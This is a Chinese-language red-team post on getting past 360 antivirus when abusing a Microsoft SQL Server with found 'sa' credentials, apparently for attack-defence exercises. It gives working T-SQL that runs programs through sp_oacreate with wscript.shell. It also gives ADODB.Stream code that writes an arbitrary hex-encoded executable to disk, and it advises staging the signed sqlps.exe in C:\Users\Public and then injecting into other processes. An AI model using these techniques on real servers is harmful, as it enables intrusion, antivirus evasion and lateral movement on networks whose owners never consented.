仅供hw思路参考
提权的话,一般mssql2005是直接高权限,高版本只能手动设置管理员运行
如果在内网中横向移动的时候,这招的参考价值就有点了
拦截效果
上来先看拦截效果
目标主机存在数字杀软
在配置文件中找到sa账号密码
开启xp_cmdshell和sp_oacreate在这里不做赘述,在数据库及其主流关系型利用方法文章中有记录
xp_cmdshell
数字杀软应在CreateProcess阶段拦截了xp_cmdshell
sp_oacreate
并没有返回执行命令成功的结果
执行成功应该返回0
D盘下也没有生成我们的命令结果文件
clr
这里是直接使用的SharpSQLTools工具
clr_efspotato和clr_badpotato一样无法执行命令
实战绕过
sql server 默认安装后,会发现有一个 sqlps.exe
自带微软数字签名
作用就是开启一个powershell环境
sp_oacreate执行命令的时候wscript.shell可以不调用CMD执行程序
如
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'calc'
但一般只有系统目录中无害的程序,比如Calc,ipconfig,tasklist这些,或者有数字签名的可以不遭受拦截,而且数字签名创建的进程不可信还是会被拦截,所以我们上线后,需要把进程注入到别的进程,才可执行系统命令
效果
sql server 默认为service权限,因此对很多目录包括sql server 默认目录都无法执行该程序,因此要提前上传sqlps至C:\Users\Public目录
上传文件
这里本来想用sharpsqltools直接上传文件,但是被拦截了
发现sharpsqltools,是先把文件.config_txt后缀名下,再调用sp_oacreate cmd进行重命名和删除,问题是,360直接拦截sp_oacreate cmd啊,所以只能自己通过一下方式手动写入
DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x123456(其中0x123456为HEX内容)
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'Test.exe(文件名)', 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken